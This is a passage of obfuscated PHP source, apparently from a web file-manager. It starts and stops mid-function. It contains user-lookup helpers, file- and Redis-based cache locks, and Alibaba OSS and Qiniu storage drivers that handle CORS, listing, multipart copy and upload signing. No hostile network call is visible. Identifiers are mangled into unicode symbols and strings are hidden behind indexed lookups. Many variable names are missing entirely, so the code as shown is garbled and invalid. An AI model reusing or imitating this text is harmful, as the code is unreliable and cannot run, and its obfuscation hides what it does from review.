array_to_keyvalue($݇, $[12], $[1763])); return $݇; } private function _listAppendMeta(&$ܥ, $Ҭ) { $ژ =& $_SERVER[]; $Ź = UserJobModel::JOB_KEY; $ = array($ژ[2471]); $ = array($ژ[1763] => array($ژ[7], $Ҭ)); $맍 = Model($ژ[2469])->where($)->select(); $맍 = array_to_keyvalue_group($맍, $ژ[1763]); foreach ($맍 as &$Ô) { $ǥ܄ = array(); foreach ($Ô as $ͭ) { if (!in_array($ͭ[$ژ[97]], $)) { $ǥ܄[$ͭ[$ژ[97]]] = $ͭ[$ژ[450]]; } } $Ô = $ǥ܄; } unset($Ô); $ʫ = Model($ژ[2492]); foreach ($ܥ as &$) { $ = array(); if (isset($맍[$[$ژ[1763]]])) { $ = $맍[$[$ژ[1763]]]; } $[$ژ[2493]] = array(); if (isset($[$Ź])) { $[$ژ[2493]] = $ʫ->getUserJobInfo($[$Ź]); } } unset($); } protected function groupUserAll($) { $쌔 =& $_SERVER[]; if (!$) { return !1; } $ = Model($쌔[2056])->field($쌔[1763])->where(array($쌔[1962] => array($쌔[7], $)))->select(); $ = array_to_keyvalue($, $쌔[12], $쌔[1763]); return array_unique($); } public function userSearch($ܚ, $˦ = "\x2a") { return Model($_SERVER[][598])->where($ܚ)->field($˦)->find(); } } goto A; E: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[]; $҈ = $GLOBALS[$[6]][$[425]]; self::$cachePath = $҈[$[230]][$[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($Ƿ, $Ȁ = 0) { $ĝ =& $_SERVER[]; $ = microtime(!0); $阸 = $ + $Ȁ + 0.0001; $ = rtrim(self::$cachePath, $ĝ[8]) . $ĝ[938] . md5($Ƿ) . $ĝ[935]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $˻Ǣ = fopen($, $ĝ[939]); if (!$˻Ǣ) { return !1; } $ = flock($˻Ǣ, LOCK_EX | LOCK_NB); self::$caches[$Ƿ] = array($ĝ[940] => $˻Ǣ, $ĝ[230] => $); fwrite($˻Ǣ, $阸); clearstatcache(); if ($˻Ǣ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $阸); $this->unlock($Ƿ); return !1; } public function lockGet($ؖ) { $§ =& $_SERVER[]; $ڿ = rtrim(self::$cachePath, $§[8]) . $§[938] . md5($ؖ) . $§[935]; return file_exists($ڿ); } public function unlock($) { $ =& $_SERVER[]; $ǎ = self::$caches[$]; if (!$ǎ) { return; } @flock($ǎ[$[940]], LOCK_UN); @fclose($ǎ[$[940]]); @unlink($ǎ[$[230]]); unset(self::$caches[$]); } } class CacheLockRedis { public function lock($, $ = 10) { $ = Cache::init(); $܃ = microtime(!0) + $; while (microtime(!0) < $܃) { $ = $->get($); if (!$) { $޸ = $->setLock($, $܃, $); if ($޸) { return !0; } } else { if ($ < microtime(!0)) { $->set($, $܃, $ * 2); if ($->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($Ȼ) { return Cache::init()->get($Ȼ); } public function unlock($´) { return Cache::init()->remove($´); } } goto B칐; C: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public $config = array(); public function __construct($󜆪) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1453]; $this->_init($󜆪); } public function _init($) { $ϐ =& $_SERVER[]; $this->config = $; foreach ($ as $׉ => $̤) { if (isset($this->{$׉})) { $this->{$׉} = $̤; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ϐ[1454] . LNG($ϐ[1455])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ƿ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $ݞ = new OSS\Model\CorsRule(); $ݞ->addAllowedOrigin($ƿ[1456]); $ݞ->addAllowedMethod($ƿ[1457]); $ݞ->addAllowedMethod($ƿ[1458]); $ݞ->addAllowedMethod($ƿ[1459]); $ݞ->addAllowedMethod($ƿ[1460]); $ݞ->addAllowedMethod($ƿ[165]); $ݞ->setMaxAgeSeconds(600); $ݞ->addExposeHeader($ƿ[1461]); $ݞ->addAllowedHeader($ƿ[1456]); $->addRule($ݞ); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ƿ[214] . $->getMessage()); return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $힡 = null; try { $힡 = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $Ѩߘ) { $this->writeLog(__FUNCTION__ . $[214] . $Ѩߘ->getMessage()); return null; } if (!$힡 || !($ = $힡->getRules())) { return null; } $ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $ݵ = $[0]->getExposeHeaders(); $٘ͮ = $[0]->getAllowedHeaders(); return array($[218] => isset($[0]) ? $[0] : $[12], $[222] => $, $[1462] => $, $[1463] => isset($ݵ[0]) ? $ݵ[0] : $[12], $[219] => isset($٘ͮ[0]) ? $٘ͮ[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[218]] != $[220] || $[$[219]] != $[220]) { return !1; } $Ŷޗ = array_map($[221], $[$[222]]); if (!is_array($Ŷޗ)) { $Ŷޗ = array(); } $ͭ = array($[223], $[224], $[225], $[226], $[227]); $̯ = array_diff($ͭ, $Ŷޗ); return empty($̯); } public function mkfile($҈, $ = '', $螜 = REPEAT_RENAME) { $δ = $this->setContent($҈, $); if ($δ !== !1) { return $this->getPathOuter($҈); } return !1; } public function mkdir($즖, $߄ű = REPEAT_SKIP) { if ($߄ű && $this->_isFolder($즖)) { return $this->getPathOuter($즖); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($즖)); } catch (OSS\Core\OssException $׭) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $׭->getMessage()); return !1; } return $this->getPathOuter($즖); } private function fileList($ͭ, $˃ = '', $ɨ׉ = 0) { $ݘ =& $_SERVER[]; $ͭ = trim($ͭ, $ݘ[8]); $ = empty($ͭ) && $ͭ !== $ݘ[228] ? $ݘ[12] : $ͭ . $ݘ[8]; $卧 = $ݘ[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $ś׾ = array($ݘ[1464] => $˃, $ݘ[1465] => $, $ݘ[1466] => $, $ݘ[1467] => $卧); try { $ӡ = $this->client->listObjects($this->bucket, $ś׾); } catch (OSS\Core\OssException $͛) { $this->writeLog(__FUNCTION__ . $ݘ[214] . $͛->getMessage()); break; } $卧 = $ӡ->getNextMarker(); $ = $ӡ->getObjectList(); $ո = $ӡ->getPrefixList(); foreach ($ as $̾) { if ($̾->getKey() == $) { continue; } $ = $̾->getKey(); $ = $̾->getSize(); $ɑ = $̾->getLastModified(); $ = trim($̾->getETag(), $ݘ[121]); $ = $ɨ׉ ? array($ݘ[32] => $, $ݘ[79] => $, $ݘ[206] => strtotime($ɑ), $ݘ[1468] => $) : $; $𥒵 = $ == 0 && substr($, strlen($) - 1, 1) == $ݘ[8] ? !0 : !1; $қ = array($ݘ[79] => $, $ݘ[1469] => $, $ݘ[88] => strtotime($ɑ), $ݘ[1470] => $ɑ, $ݘ[1468] => $); $this->cacheMethodInfoSet($, $𥒵, $қ); if ($𥒵) { $[] = $; continue; } $[] = $; } foreach ($ո as $) { $[] = $->getPrefix(); $this->cacheMethodInfoSet($->getPrefix(), !0); } if ($卧 === $ݘ[12]) { break; } } $this->cacheMethodInfoSet($ͭ, !0); return array($ݘ[85] => $, $ݘ[86] => $); } public function listObject($, $ = '') { $ =& $_SERVER[]; $ = trim($, $[8]); $֕ᵘ = empty($) && $ !== $[228] ? $[12] : $ . $[8]; $Ρ = $[12]; $׵ = 1000; $ = $Ǒ = array(); while (!0) { check_abort(); $ = array($[1464] => $, $[1465] => $֕ᵘ, $[1466] => $׵, $[1467] => $Ρ); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $ҙ) { $this->writeLog(__FUNCTION__ . $[214] . $ҙ->getMessage()); break; } $Ρ = $->getNextMarker(); $񈰝 = $->getObjectList(); foreach ($񈰝 as $•) { if ($•->getKey() == $֕ᵘ) { continue; } $ = $•->getKey(); $ = $•->getSize(); $հ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; if ($հ) { continue; } $Ǒ[] = $ . $[214] . $; } if ($Ρ === $[12]) { break; } } return array($[85] => $, $[86] => $Ǒ); } public function copyFile($, $ױߚ) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($ױߚ)); } catch (OSS\Core\OssException $ÄЊ) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $ÄЊ->getMessage()); return !1; } return $this->getPathOuter($ױߚ); } $ҖЮ = $this->multiCopyObject($, $ױߚ, $); return $ҖЮ ? $this->getPathOuter($ױߚ) : !1; } private function multiCopyObject($, $֎, $Çŷ) { $ =& $_SERVER[]; try { $ = array(); if ($ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1471] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($֎), $); $ߨۄ = 1; $Ҏ = 0; $瓙 = array(); $ֶ = 1024 * 1024 * 10; $گ = $this->client->generateMultiuploadParts($Çŷ, $ֶ); foreach ($گ as $ => $) { $ִ = $Ҏ + (int) $[$[1472]]; $ܽ = (int) $[$[413]] + $ִ - 1; $л = array($[167] => $ִ, $[168] => $ܽ); $瓙[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($֎), $ߨۄ, $, $л); $ߨۄ = $ߨۄ + 1; } $ = array(); foreach ($瓙 as $ => $) { $[] = array($[308] => $ + 1, $[309] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($֎), $, $); } catch (OSS\Core\OssException $մ) { $this->writeLog(__FUNCTION__ . $[214] . $մ->getMessage()); return !1; } return !0; } public function moveFile($ʙӆ, $) { if ($this->copyFile($ʙӆ, $)) { $this->remove($ʙӆ); return $this->getPathOuter($); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } return !0; } public function delFolder($⪅) { $稌 =& $_SERVER[]; if (!$this->exist($⪅)) { return !0; } $this->listItemCache = !1; $ڍ = $this->fileList($⪅); $this->listItemCache = !0; $ = trim($⪅, $稌[8]) . $稌[8]; if (!empty($⪅) && $⪅ !== $稌[228] && !in_array($, $ڍ[$稌[85]])) { $ڍ[$稌[85]][] = $; } $Ӳ = $this->delByBatch($ڍ[$稌[86]]); if (!$Ӳ) { return !1; } $Ӳ = $this->delByBatch($ڍ[$稌[85]]); if (!$Ӳ) { return !1; } return $this->delFile($); } private function delByBatch($⛫) { foreach (array_chunk($⛫, 1000) as $˚) { try { $this->client->deleteObjects($this->bucket, $˚); } catch (OSS\Core\OssException $͝) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $͝->getMessage()); return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($Ҽ, $Η = false, $༎ = array()) { $ =& $_SERVER[]; $ϻ = array($[32] => $this->pathThis($Ҽ), $[87] => $this->getPathOuter($Ҽ), $[33] => $[230], $[79] => isset($༎[$[79]]) ? $༎[$[79]] : 0, $[169] => $this->ext($Ҽ)); if ($Η) { return $ϻ; } $ϻ[$[231]] = $ϻ[$[88]] = 0; $ϻ[$[232]] = $ϻ[$[233]] = !0; if (empty($༎)) { $嚏 = $this->objectMeta($Ҽ); if (!$嚏) { return $ϻ; } $༎ = array($[88] => strtotime($嚏[$[1470]]), $[79] => $嚏[$[1469]] + 0, $[1468] => $嚏[$[1468]]); } if (isset($༎[$[1468]]) && $༎[$[1468]]) { $ϻ[$[235]] = trim($༎[$[1468]], $[121]); } if (isset($༎[$[79]])) { $ϻ[$[79]] = $༎[$[79]]; } if (isset($༎[$[88]])) { $ϻ[$[88]] = $༎[$[88]]; } if (isset($༎[$[206]]) && !trim($ϻ[$[88]])) { $ϻ[$[88]] = $༎[$[206]]; } return $ϻ; } private function folderInfo($, $Ť = false, $󙹈 = array()) { $ =& $_SERVER[]; $״ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($Ť) { return $״; } $״[$[231]] = $״[$[88]] = 0; $״[$[232]] = $״[$[233]] = !0; if (empty($󙹈)) { $ = rtrim($, $[8]) . $[8]; $Ҷ = $this->objectMeta($); if (!$Ҷ) { return $״; } $󙹈 = array($[231] => $Ҷ[$[575]][$[1473]], $[88] => strtotime($Ҷ[$[1470]])); } if (isset($󙹈[$[88]])) { $״[$[88]] = $󙹈[$[88]]; } if (isset($󙹈[$[231]])) { $״[$[231]] = $󙹈[$[231]]; } return $״; } public function listPath($, $ˤ얞 = false) { $ʯ =& $_SERVER[]; $ = $this->fileList($, $ʯ[8], !0); foreach ($[$ʯ[85]] as $ā => $) { $[$ʯ[85]][$ā] = $this->folderInfo($, $ˤ얞, $); } foreach ($[$ʯ[86]] as $ā => $) { $[$ʯ[86]][$ā] = $this->fileInfo($[$ʯ[32]], $ˤ얞, $); } return $; } protected function infoChildren($, &$ʅ) { $ =& $_SERVER[]; $Փ = $this->fileList($, $[12], !0); $ʅ[$[81]] += count($Փ[$[85]]); $ʅ[$[80]] += count($Փ[$[86]]); foreach ($Փ[$[86]] as $ܜ) { if (!$ܜ || !$ܜ[$[79]]) { continue; } $ʅ[$[79]] += $ܜ[$[79]]; } } public function has($ȟ, $ʶ = false, $甤 = true) { $Ϣ =& $_SERVER[]; $ȟ = trim($ȟ, $Ϣ[8]); $̼ = empty($ȟ) && $ȟ !== $Ϣ[228] ? $Ϣ[12] : $ȟ . $Ϣ[8]; $ = $Ϣ[12]; $Κ = 500; $𰱸 = $Ƽ = 0; while (!0) { check_abort(); $ = array($Ϣ[1464] => $Ϣ[8], $Ϣ[1465] => $̼, $Ϣ[1466] => $Κ, $Ϣ[1467] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $͍) { $this->writeLog(__FUNCTION__ . $Ϣ[214] . $͍->getMessage()); break; } $ = $->getNextMarker(); $󙏁 = $->getObjectList(); $ٚ = $->getPrefixList(); if ($ʶ) { if (count($󙏁) > 1 || count($󙏁) == 1 && $󙏁[0]->getKey() != $̼) { $𰱸 += count($󙏁) - 1; } if (!empty($ٚ)) { $Ƽ += count($ٚ); } if ($ === $Ϣ[12]) { break; } continue; } if ($甤) { if (!empty($󙏁)) { if (count($󙏁) > 1 || $󙏁[0]->getKey() != $̼) { return !0; } } } else { if (!empty($ٚ)) { return !0; } } if ($ === $Ϣ[12]) { break; } } if ($ʶ) { return array($Ϣ[239] => $𰱸, $Ϣ[240] => $Ƽ); } return !1; } public function listAll($) { $ =& $_SERVER[]; $К = $this->fileList($, $[12], !0); $ = array_to_keyvalue($К[$[86]], $[32]); foreach ($К[$[85]] as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($ũ) { $ =& $_SERVER[]; $ = $this->pathAcl($ũ); return $ == $[1474] || $ == $[619] ? !0 : !1; } public function canWrite($ӗ) { $ = $this->pathAcl($ӗ); return $ == $_SERVER[][619] ? !0 : !1; } public function pathAcl($Χ) { $Ӄǖ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $Д = $this->client->getObjectAcl($this->bucket, $this->pathEncode($Χ)); } catch (OSS\Core\OssException $ܰ) { $this->writeLog(__FUNCTION__ . $Ӄǖ[214] . $ܰ->getMessage()); return !1; } $͑ = $Д == $Ӄǖ[37] ? $this->bucketAcl : $Д; if ($͑ == $Ӄǖ[1475]) { return $Ӄǖ[1474]; } if ($͑ == $Ӄǖ[1476]) { return $Ӄǖ[619]; } return $͑; } private function chmodPath($䯊, $̩ = '') { $گ =& $_SERVER[]; $ = empty($̩) ? $گ[1476] : $̩; $ = array($گ[37], $گ[229], $گ[1475], $گ[1476]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($䯊), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $گ[214] . $->getMessage()); return !1; } return !0; } public function getContent($) { return $this->fileSubstr($, -1); } public function setContent($ɏ, $ = '') { $ =& $_SERVER[]; try { $ = $this->trafficLimit($[1477]); $㶙 = $this->client->putObject($this->bucket, $this->pathEncode($ɏ), $, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } $ߛ = array($[1471] => trim($㶙[$[1468]], $[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($ɏ))); $this->updateObjMeta($ɏ, $ߛ); return isset($㶙[$[1478]][$[292]]) ? !0 : !1; } private function updateObjMeta($˘, $Ʊ۪) { $˘ = $this->pathEncode($˘); try { $ڭ = array(OSS\OssClient::OSS_HEADERS => $Ʊ۪); $this->client->copyObject($this->bucket, $˘, $this->bucket, $˘, $ڭ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } return !0; } public function upload($˾, $, $Ł = false, $ބ = REPEAT_REPLACE) { $ =& $_SERVER[]; $˷ؐ = trim($˾, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1471] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($˾))); $ = $this->trafficLimit($[1477], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($˷ؐ), $, $); } catch (OSS\Core\OssException $̇) { $this->writeLog(__FUNCTION__ . $[214] . $̇->getMessage()); return !1; } return $this->getPathOuter($˾); } public function getHost() { $ =& $_SERVER[]; $̤ = explode($[210], parent::getHost()); return $̤[0] . $[210] . $this->bucket . $[10] . $̤[1]; } public function uploadFormData($ǤDŽ, $ = 3600) { $Ό =& $_SERVER[]; if (!($ĝ = $this->getHost())) { return !1; } $ = $; $ʯ… = date($Ό[1479], time() + $); $ = new DateTime($ʯ…); $ = $->format(DateTime::ISO8601); $ = strpos($, $Ό[372]); $ = substr($, 0, $) . $Ό[1480]; $ͤ = 1048576000 * 5; $ = $this->pathFather($ǤDŽ); $ژ၏ = array($Ό[275] => $, $Ό[278] => array(array($Ό[1481], 0, $ͤ), array($Ό[281], $Ό[282], $))); $¶ = base64_encode(json_encode($ژ၏)); $ = base64_encode(hash_hmac($Ό[263], $¶, $this->secret, !0)); $ީ = array($Ό[293] => $¶, $Ό[1482] => $this->accessKey, $Ό[285] => $Ό[274], $Ό[1483] => $, $Ό[208] => $ĝ); $ީ = $this->trafficLimit($Ό[1477], $ީ); return $ީ; } public function multiUploadFormData($𿫵, $ = 3600) { $и =& $_SERVER[]; if (!($ى = $this->getHost())) { return !1; } $貝 = $this->trafficLimit($и[1477]); $Ϳȳ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($𿫵), $貝); return array($и[254] => $Ϳȳ, $и[208] => $ى . $и[8] . $this->pathEncode($𿫵), $и[255] => gmdate($и[1484]), $и[97] => $𿫵); } public function multiUploadAuthData($﷛, $ۮ = array()) { $ʈǜޤ =& $_SERVER[]; $ = isset($ۮ[$ʈǜޤ[255]]) ? $ۮ[$ʈǜޤ[255]] : gmdate($ʈǜޤ[1484]); $ = isset($ۮ[$ʈǜޤ[169]]) ? $ۮ[$ʈǜޤ[169]] : $ʈǜޤ[12]; $ = $﷛; if (isset($ۮ[$ʈǜޤ[97]])) { $ = $ۮ[$ʈǜޤ[97]]; unset($ۮ[$ʈǜޤ[97]]); } if (isset($ۮ[$ʈǜޤ[256]])) { $ۮ[$ʈǜޤ[255]] = $; return $this->listUploadParts($, $ۮ); } $ = array($ʈǜޤ[257], $ʈǜޤ[12], $ʈǜޤ[123], $, "\x78\x2d\157\x73\163\55\x64\x61\x74\x65\x3a{$}", $ʈǜޤ[8] . $this->bucket . $ʈǜޤ[8] . $ . $); if (strpos($, $ʈǜޤ[258]) === 0) { $[0] = $ʈǜޤ[259]; if ($ = $this->trafficLimit($ʈǜޤ[1477])) { $ = $ʈǜޤ[1485]; array_splice($, 5, 0, $ . $ʈǜޤ[4] . $[$]); } } if (isset($ۮ[$ʈǜޤ[260]]) && $ۮ[$ʈǜޤ[260]] == $ʈǜޤ[261]) { $[0] = $ʈǜޤ[261]; } if (!empty($ۮ[$ʈǜޤ[1486]])) { $蓞 = array_merge(array($[4]), $ۮ[$ʈǜޤ[1486]]); sort($蓞); $[4] = implode($ʈǜޤ[262], $蓞); } $ÛЛ = implode($ʈǜޤ[262], $); $𞪱 = base64_encode(hash_hmac($ʈǜޤ[263], $ÛЛ, $this->secret, !0)); $ʚ = $ʈǜޤ[1454] . $this->accessKey . $ʈǜޤ[4] . $𞪱; if (strpos($, $ʈǜޤ[258]) === 0) { $ʚ = array($ʈǜޤ[265] => $ʚ, $ʈǜޤ[255] => $); if ($) { $ʚ = array_merge($ʚ, $); } } return $ʚ; } public function listUploadParts($, $ҳ) { $ê =& $_SERVER[]; $ = parse_url_query($ҳ[$ê[169]]); $ɶ = $this->client->listParts($this->bucket, $this->pathEncode($), $[$ê[254]]); $ = $ɶ->getListPart(); $ = array(); foreach ($ as $) { $[] = array($ê[308] => $->getPartNumber(), $ê[309] => trim($->getETag(), $ê[121])); } unset($ҳ[$ê[256]], $ҳ[$ê[260]]); $ړ = $this->multiUploadAuthData($, $ҳ); if (empty($ړ)) { return !1; } return array($ê[265] => $ړ, $ê[255] => $ҳ[$ê[255]], $ê[267] => $); } public function download($橴, $㋣) { $څՙ =& $_SERVER[]; if ($this->isFolder($橴)) { return !1; } try { $ҙ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $㋣); $ҙ = $this->trafficLimit($څՙ[112], $ҙ); $this->client->getObject($this->bucket, $this->pathEncode($橴), $ҙ); } catch (OSS\Core\OssException $ԡš) { $this->writeLog(__FUNCTION__ . $څՙ[214] . $ԡš->getMessage()); return !1; } return $㋣; } public function fileSubstr($, $ = 0, $腙 = false) { if ($ === -1) { $ݺ = array(); } else { if ($腙 === !1) { $ = $this->size($); } else { $ = $ + $腙 - 1; } $ݺ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $ݺ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); think_exception($->getMessage()); return !1; } } private function trafficLimit($, $Íᮻ = array()) { $⣙ =& $_SERVER[]; if ($ == $⣙[1477] && $this->isUploadServer() || $ == $⣙[112] && $this->isFileOutServer()) { return $Íᮻ; } $ߡ = floatval($GLOBALS[$⣙[6]][$⣙[92]][$⣙[110]][$]) * 1024 * 1024 * 8; if (!$ߡ) { return $Íᮻ; } $ߡ = $ߡ < 819200 ? 819200 : ($ߡ > 838860800 ? 838860800 : $ߡ); $Íᮻ[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($ߡ); return $Íᮻ; } public function link($, $ɷҘ = array()) { $ =& $_SERVER[]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ɷҘ = $this->trafficLimit($[112], $ɷҘ); $ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[261], $ɷҘ); return $this->getCdnLink($); } catch (OSS\Core\OssException $ʾ) { $this->writeLog(__FUNCTION__ . $[214] . $ʾ->getMessage()); return !1; } } public function fileOut($, $ = false, $ƭ = false, $ȶ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $ƭ, $ȶ); } if (!$ƭ) { $ƭ = $this->pathThis($); } $ƭ = rawurlencode($ƭ); $ = get_file_mime(get_path_ext($ƭ)); if ($ == $[248]) { return parent::fileOut($, $, $ƭ, $ȶ); } $ = $ ? $[1487] : $[1488]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1489] . rawurlencode("{$}\x3b\x66\x69\x6c\x65\x6e\x61\155\145\75{$ƭ}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1490] . rawurlencode($); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($Ɂ, $Ȳ = false, $ = false, $ = '') { parent::fileOut($Ɂ, $Ȳ, $, $); } public function fileOutImage($λ, $Ҵ = 250) { if ($this->size($λ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($λ, $Ҵ); } $ĚĹ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1451] . $Ҵ); $Ҿ = $this->link($λ, $ĚĹ); $this->fileOutLink($Ҿ); } public function fileOutImageServer($ؼ, $͙ = 250) { parent::fileOutImage($ؼ, $͙); } public function fileOutLink($̼) { $Ң =& $_SERVER[]; if (!$this->isCdnHost() && substr($̼, 0, 7) == $Ң[313]) { $̼ = $Ң[314] . substr($̼, 7); } header($Ң[175] . $̼); die; } public function hashMd5($ҍ, $э = '') { $ǒ =& $_SERVER[]; $ک = $this->_objectMeta($ҍ); if (!$ک) { return $ǒ[12]; } if (!isset($ک[$ǒ[1471]]) && !empty($э)) { $ = $this->updateObjMeta($ҍ, array($ǒ[1471] => $э)); $ک[$ǒ[1471]] = $ ? $э : $ǒ[12]; } return isset($ک[$ǒ[1471]]) ? strtolower($ک[$ǒ[1471]]) : $ǒ[12]; } public function size($΀) { $ = $this->objectMeta($΀); return $ ? $[$_SERVER[][79]] : 0; } public function info($ơ) { if ($this->isFolder($ơ)) { return $this->folderInfo($ơ); } else { if ($this->isFile($ơ)) { return $this->fileInfo($ơ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($׸) { return !$this->isFolder($׸) && $this->objectMeta($׸); } public function isFolder($԰) { return $this->cacheMethod($_SERVER[][179], $԰); } protected function objectMeta($ߟ) { return $this->cacheMethod($_SERVER[][181], $ߟ); } protected function _objectMeta($) { $ͦ =& $_SERVER[]; try { $佳 = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ͦ[214] . $->getMessage()); $佳 = !1; } if ($佳) { $佳[$ͦ[79]] = intval($佳[$ͦ[1469]]); } return $佳; } protected function _isFolder($ߗɌ) { $ =& $_SERVER[]; if ($ߗɌ == $[12] || $ߗɌ == $[8]) { return !0; } $ = array($[1464] => $[8], $[1465] => rtrim($ߗɌ, $[8]) . $[8], $[1466] => 1, $[1467] => $[12]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } public function writeLog($ʠ = '', $ = false) { $葞 =& $_SERVER[]; $ɛς = in_array(ACTION, array($葞[212], $葞[213])); if (!$ɛς && !GLOBAL_DEBUG) { return; } $︙ = 0; if (stripos($ʠ, $葞[1491]) !== !1) { $︙ = 1; $ = explode($葞[1492], $ʠ); $ʠ = !empty($[1]) ? $[1] : $ʠ; } else { if (stripos($ʠ, $葞[1493])) { $︙ = 2; $ = explode($葞[1493], $ʠ); $ = explode($葞[4], $[0]); $ʠ = !empty($[1]) ? $[1] : $ʠ; } } if ($ɛς && I18n::getType() == $葞[1494]) { if ($︙ == 1) { $ʠ = str_replace($葞[1495], $葞[1496], $ʠ); } else { if ($︙ == 2) { $ = explode($葞[214], $[0]); $ȇ = isset($[1]) ? $[1] : $葞[12]; $ = array($葞[1497] => $葞[1498], $葞[1499] => $葞[1500], $葞[1501] => $葞[1502], $葞[1503] => $葞[1504], $葞[1505] => $葞[1506], $葞[1507] => $葞[1508], $葞[1509] => $葞[1510], $葞[1511] => $葞[1512], $葞[1513] => $葞[1514], $葞[1515] => $葞[1516]); if (isset($[$ȇ])) { $ʠ = $[$ȇ]; } } } if (stripos($ʠ, $葞[1517])) { $ʠ = $葞[1518]; } } if (!trim($ʠ)) { return; } parent::writeLog(trim($ʠ), $); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1519]; $this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $Ւ => $ɞ) { if (isset($this->{$Ւ})) { $this->{$Ւ} = $ɞ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1520] . LNG($[1455])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $⿴ = '', $ɩ = REPEAT_RENAME) { if ($this->setContent($, $⿴)) { return $this->getPathOuter($); } return !1; } public function mkdir($ͫ, $ = REPEAT_SKIP) { $ꡨ =& $_SERVER[]; $Ӡ = trim($ͫ, $ꡨ[8]); if 